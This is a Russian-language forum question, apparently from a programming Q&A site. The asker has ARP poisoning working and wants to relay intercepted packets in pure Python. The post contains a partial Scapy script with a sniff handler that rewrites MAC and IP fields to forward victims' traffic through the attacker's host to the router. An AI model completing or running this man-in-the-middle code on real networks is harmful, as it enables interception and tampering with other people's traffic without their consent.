Я пытаюсь выполнить ARP MiTM-атаку с уже выполненной частью отравления ARP. Однако я не могу понять, как перенаправить пакеты, которые я перехватываю. Большинство уроков, которые я видел в сети, либо пропускают часть модификации и пересылки пакетов, либо предлагают это через командную строку и wireshark. Можно ли это сделать через чистый питон (с внешними библиотеками)?
Я использую Mac OS X Mojave.
def handle(pkt):
logging.debug(pkt.summary())
try:
if all((pkt[0].dst == MAC,
pkt[1].dst != IP,
pkt[0].src != MAC,
pkt[1].src != IP
)):
npkt = pkt
npkt[0].dst = ROUTER_MAC
npkt[0].src = MAC
# npkt[1].dst = ROUTER
npkt[1].src = IP
logging.info("pkt from \n########## ({}) -> ({})".format((pkt[0].src, pkt[1].src, "to", pkt[0].dst, pkt[1].dst),
(npkt[0].src, npkt[1].src, "to", npkt[0].dst, npkt[1].dst)))
for bpkt in srp(npkt, verbose=False):
fbpkt = bpkt
fbpkt[0].dst = pkt[0].src
fbpkt[0].src = MAC
fbpkt[1].dst = pkt[1].src
# fbpkt[1].src = ROUTER
logging.info("pkt from {} redirection success".format((pkt[0].src,pkt[1].src)))
except AttributeError:
pass
except:
logging.exception("")
if __name__ == "__main__":
ROUTER = netifaces.gateways()['default'][2][0]
ROUTER_MAC = sr1(ARP(pdst=ROUTER), verbose=False).hwsrc
IP = netifaces.ifaddresses('en0')[netifaces.AF_INET][0]["addr"]
MAC = netifaces.ifaddresses('en0')[netifaces.AF_LINK][0]["addr"]
VICTIMS = []
sniff(prn=handle)